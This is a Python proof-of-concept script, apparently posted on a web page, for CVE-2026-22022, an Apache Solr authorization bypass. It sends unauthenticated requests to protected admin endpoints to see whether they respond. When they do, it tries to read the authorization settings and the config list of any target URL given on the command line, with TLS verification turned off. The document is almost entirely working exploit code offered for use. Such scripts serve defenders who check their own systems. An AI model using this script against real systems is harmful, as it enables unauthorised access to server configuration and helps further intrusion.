CVE-2026-22022 Apache Solr授权绕过漏洞

# CVE-2026-22022 Apache Solr Authorization Bypass PoC # Target: Apache Solr instances with RuleBasedAuthorizationPlugin # Condition: RuleBasedAuthorizationPlugin config without 'all' permission import requests import sys def check_vulnerability(solr_url): """Check if target Solr is vulnerable to CVE-2026-22022""" # Remove trailing slash solr_url = solr_url.rstrip('/') # Target endpoints that should be protected protected_endpoints = [ '/solr/admin/info/system', '/solr/admin/configs', '/solr/schema', '/solr/admin/metrics' ] print(f"[*] Testing {solr_url} for CVE-2026-22022") print(f"[*] Target endpoints: {protected_endpoints}") vulnerable = False for endpoint in protected_endpoints: url = f"{solr_url}{endpoint}" try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) # Check if we can access protected endpoints if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Status: {response.status_code}") print(f" Response length: {len(response.text)} bytes") vulnerable = True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} requires authentication") else: print(f"[*] Unknown: {endpoint} returned {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return vulnerable def exploit_config_read(solr_url): """Exploit to read Solr configuration""" solr_url = solr_url.rstrip('/') # Try to read security.json configuration endpoints = [ f"{solr_url}/solr/admin/info/authorization", f"{solr_url}/solr/admin/configs?action=LIST" ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Successfully read config from: {endpoint}") print(f" Response: {response.text[:500]}...") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22022.py <solr_url>") print("Example: python cve-2026-22022.py http://localhost:8983") sys.exit(1) target = sys.argv[1] # Suppress SSL warnings requests.packages.urllib3.disable_warnings() is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2026-22022") print("[*] Attempting to exploit config read...") exploit_config_read(target) else: print("\n[+] Target appears to be patched or not vulnerable")